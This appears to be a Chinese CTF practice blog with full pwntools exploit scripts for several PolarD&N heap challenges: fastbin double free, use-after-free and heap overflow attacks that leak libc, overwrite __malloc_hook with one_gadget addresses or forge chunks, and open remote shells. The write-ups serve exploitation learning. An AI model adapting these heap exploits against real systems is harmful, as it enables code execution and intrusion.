记录堆的做题1
做题网站:PolarD&N
来堆签个到
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p=remote('1.95.36.136',2100)
#p=process('./d7')
elf=ELF('./d7')
libc=ELF('./libc.so.6')
def xu(a):
p.recvuntil(b'choice:')
p.sendline(str(a))
p.recvuntil(b'index:')
def add(a,b):
xu(1)
p.sendline(str(a))
p.recvuntil(b'size')
p.sendline(str(b))
def de(a):
xu(2)
p.sendline(str(a))
def edi(a,b,c):
xu(3)
p.sendline(str(a))
p.recvuntil(b'length:')
p.sendline(str(b))
p.recvuntil(b'content:')
p.sendline(c)
def show(a):
xu(4)
p.sendline(str(a))
add(0,0x410)
add(1,0x10)
de(0)
#pause()
add(0,0x410)
show(0)
lib=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
#print(hex(lib))
#info("libc base" + hex(lib))
ba=0x3c4b78
lib=lib-ba
one_gadget=[0x4527a,0xf03a4,0xf1247]
add(0,0x68)
add(1,0x68)
de(0)
de(1)
de(0)
add(0,0x68)
pay=p64(libc.sym['__malloc_hook']-0x23+lib)
print(hex(libc.sym['__malloc_hook']-0x23))
l1=len(pay)#gdb.attach(p)
edi(0,0x68,pay)
add(0,0x68)
add(0,0x68)
add(0,0x68)
pa=b'\x00'*0x13+p64(one_gadget[0]+lib)
l2=len(pa)
edi(0,0x68,pa)
add(0,0x100)
p.interactive()
这个__malloc_hook算是个技巧了吧,得减去0x23,这样刚刚好有一个0x7f使得能够申请到堆块
heap_double_free
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p=remote('1.95.36.136',2073)
def add(a,b,c):
p.recvuntil(b'buntu:~/Desktop$')
p.sendline(b'1')
p.recvuntil(b'please input id and size :\n')
p.sendline(str(a))
p.sendline(str(b))
p.recvuntil(b'please input contet:\n')
p.sendline(c)
def de(a):
p.recvuntil(b'buntu:~/Desktop$')
p.sendline(b'2')
p.recvuntil(b'id :\n')
p.sendline(str(a))
add(0,0x68,b'a'*10)
add(1,0x68,b'a'*10)
#add(2,0x16,'cccc')
de(0)
de(1)
de(0)
glo=0x6010A0
add(3,0x68,p64(glo))
add(4,0x68,p64(0x101))
add(5,0x68,p64(0x101))
add(6,0x68,p64(0x101))
p.recvuntil(b'buntu:~/Desktop$')
p.sendline(b'4')
p.interactive()
double后申请到globals,然后改目标值
这个地方emmm,

是被设置好了有个71,刚好可以允许申请到内存,而像上面那个申请到mallochook那边就得-0x23取那个7f
不过好像这样申请到内存,是不能通过gdb内heap查看的,得使用x/gx
bll_ezheap1
粗略看了一下,大概和上面那个一样,堆利用来改key为特定值
漏洞是堆溢出,思路是伪造chunk
但我想想,能不能直接申请mallochook
这个是从libc中取,那还得找到libc偏移,没有show应该是不行,而且思路应该是走他给的后门的
pie可以用他给的key的地址
pay=b'a'*0x60+p64(0)+p64(0x71)+p64(0x402020)

我嘞个豆,确实
总结一下,这道题新学到了可以进行找合适的区域取内存

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p=remote('1.95.36.136',2069)
#p=process('./d8')
elf=ELF('./d8')
libc=ELF('./libc.so.6')
def xu(a):
p.recvuntil(b'choice:')
p.sendline(str(a))
p.recvuntil(b'index:')
def add(a,b):
xu(1)
p.sendline(str(a))
p.recvuntil(b'size')
p.sendline(str(b))
def edi(a,b,c):
xu(2)
p.sendline(str(a))
p.recvuntil(b'length:')
p.sendline(str(b))
p.recvuntil(b'content:')
p.sendline(c)
def de(a):
xu(3)
p.sendline(str(a))
p.recvuntil(b'choice:')
p.sendline(b'5')
p.recvuntil(b'key:')
k=eval(p.recvuntil('\n',drop=True))
print(hex(k))
pie=k-0x2020ac
add(0,0x68)
add(1,104)
de(1)
#gdb.attach(p)
pay1=b'a'*0x60+p64(0)+p64(0x71)+p64(k-0x40+0x11)
edi(0,len(pay1),pay1)
add(1,104)
add(3,0x68)
pay2=b'a'*(0x40-0x21)+p64(0xABCDEF)
edi(3,len(pay2),pay2)
#pause()
p.recvuntil(b'choice:')
p.sendline(b'5')
p.interactive()
学会找合适区域内存,然后填充
bllhl_double_free
很显而易见的提示我们double free
同样要求我们修改某个地方为特定值
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p=remote('1.95.36.136',2108)
#p=process('./d9')
elf=ELF('./d9')
libc=ELF('./libc.so.6')
def xu(a):
p.recvuntil(b'choice:')
p.sendline(str(a))
p.recvuntil(b'index:')
def add(a,b):
xu(1)
p.sendline(str(a))
p.recvuntil(b'size')
p.sendline(str(b))
def edi(a,b,c):
xu(3)
p.sendline(str(a))
p.recvuntil(b'length:')
p.sendline(str(b))
p.recvuntil(b'content:')
p.sendline(c)
def de(a):
xu(2)
p.sendline(str(a))
bss=0x6020d0
add(0,0x68)
add(1,0x68)
add(2,0x80)
#gdb.attach(p)
de(0)
de(1)
de(0)
add(3,0x68)
edi(0,0x68,p64(bss-0x16+0x2))
add(4,0x68)
add(5,0x68)
add(6,0x68)
edi(6,0x68,b'a'*0x4+p64(520))
p.sendline(b'5')
#pause()
p.interactive()
非常简单的double free
我感觉堆溢出也能做,试试看
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
#p=remote('1.95.36.136',2108)
p=process('./d9')
elf=ELF('./d9')
libc=ELF('./libc.so.6')
def xu(a):
p.recvuntil(b'choice:')
p.sendline(str(a))
p.recvuntil(b'index:')
def add(a,b):
xu(1)
p.sendline(str(a))
p.recvuntil(b'size')
p.sendline(str(b))
def edi(a,b,c):
xu(3)
p.sendline(str(a))
p.recvuntil(b'length:')
p.sendline(str(b))
p.recvuntil(b'content:')
p.sendline(c)
def de(a):
xu(2)
p.sendline(str(a))
bss=0x6020d0
add(0,0x68)
add(1,0x68)
add(2,0x68)
gdb.attach(p)
de(1)
pay1=b'a'*(0x68)+p64(0x71)+p64(bss-0x16+0x2)
edi(0,len(pay1),pay1)
add(3,0x68)
add(4,0x68)
edi(4,0x68,b'a'*0x4+p64(520))
p.sendline(b'5')
pause()
p.interactive()
没有问题,确实能通
wowuaf
这题就是最上面那个来堆签个到
backdoor_heap
设置magic :0x6020a0处值>0x1305
好像是能堆溢出的,没看到检查
那么思路就是堆溢出修改fd,申请目标地址内存,修改参数,getshell
好评是基本都是Ubuntu16,ld和libc直接继续用
思路正确
exp:
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p=remote('1.95.36.136',2101)
#p=process('./a2')
elf=ELF('./a2')
libc=ELF('./libc.so.6')
def xu(a):
p.recvuntil(b'Your choice :')
p.sendline(str(a))
def add(a,b):
xu(1)
p.recvuntil(b'Size of Heap :')
p.sendline(str(a))
p.recvuntil(b'Content of heap:')
p.sendline(b)
def edi(a,b,c):
xu(2)
p.recvuntil(b'Index :')
p.sendline(str(a))
p.recvuntil(b'Size of Heap :')
p.sendline(str(b))
p.recvuntil(b'Content of heap :')
p.sendline(c)
def de(a):
xu(3)
p.recvuntil(b'Index :')
p.sendline(str(a))
add(0x68,b'aaaa')
add(0x68,b'bbbb')
add(0x80,b'cccc')
de(1)
pay1=b'a'*0x68+p64(0x71)+p64(0x6020a0-0x16+0x3)
edi(0,len(pay1),pay1)
add(0x68,b'dddd')
#gdb.attach(p)
add(0x68,b'gggg')
edi(3,0x68,b'a'*0x4+p64(0x1306))
p.sendline(b'4869')
#pause()
p.interactive()
fastbin2
越来越难看的函数了
可能是堆溢出,没看到检查机制
然后libc泄露,打__malloc_hook得getshell
但是还开了pie,得找pie基址,那就得泄露某个地方的地址
emmmm,但其实pie并没什么作用,因为用libc打的,并没牵扯到什么地址
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p=remote('1.95.36.136',2097)
#p=process('./a3')
elf=ELF('./a3')
libc=ELF('./libc.so.6')
def xu(a):
p.recvuntil(b'Enter:')
p.sendline(str(a))
def add(a):
xu(1)
p.recvuntil(b'size:')
p.sendline(str(a))
def edi(a,b,c):
xu(3)
p.recvuntil(b'index:')
p.sendline(str(a))
p.recvuntil(b'size')
p.sendline(str(b))
p.recvuntil(b'edit:')
p.sendline(c)
def de(a):
xu(2)
p.recvuntil(b'index:')
p.sendline(str(a))
def show(a):
xu(4)
p.recvuntil(b'index:')
p.sendline(str(a))
add(0x410)#0
add(0x10)#1
de(0)
#pause()
add(0x410)#0
show(0)
lib=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(lib))
ba=0x3c4b78
lib=lib-ba
one_gadget=[0x4527a,0xf03a4,0xf1247]
add(0x68)#2
add(0x68)#3
#gdb.attach(p)
de(3)
pay1=b'a'*0x68+p64(0x71)+p64(libc.sym['__malloc_hook']-0x23+lib)
edi(2,len(pay1),pay1)
add(0x68)#3
add(0x68)#malloc_hook,4
pa=b'\x00'*0x13+p64(one_gadget[2]+lib)
print(one_gadget[2]+lib)
edi(4,len(pa),pa)
add(0x10)
#pause()
p.interactive()

浙公网安备 33010602011771号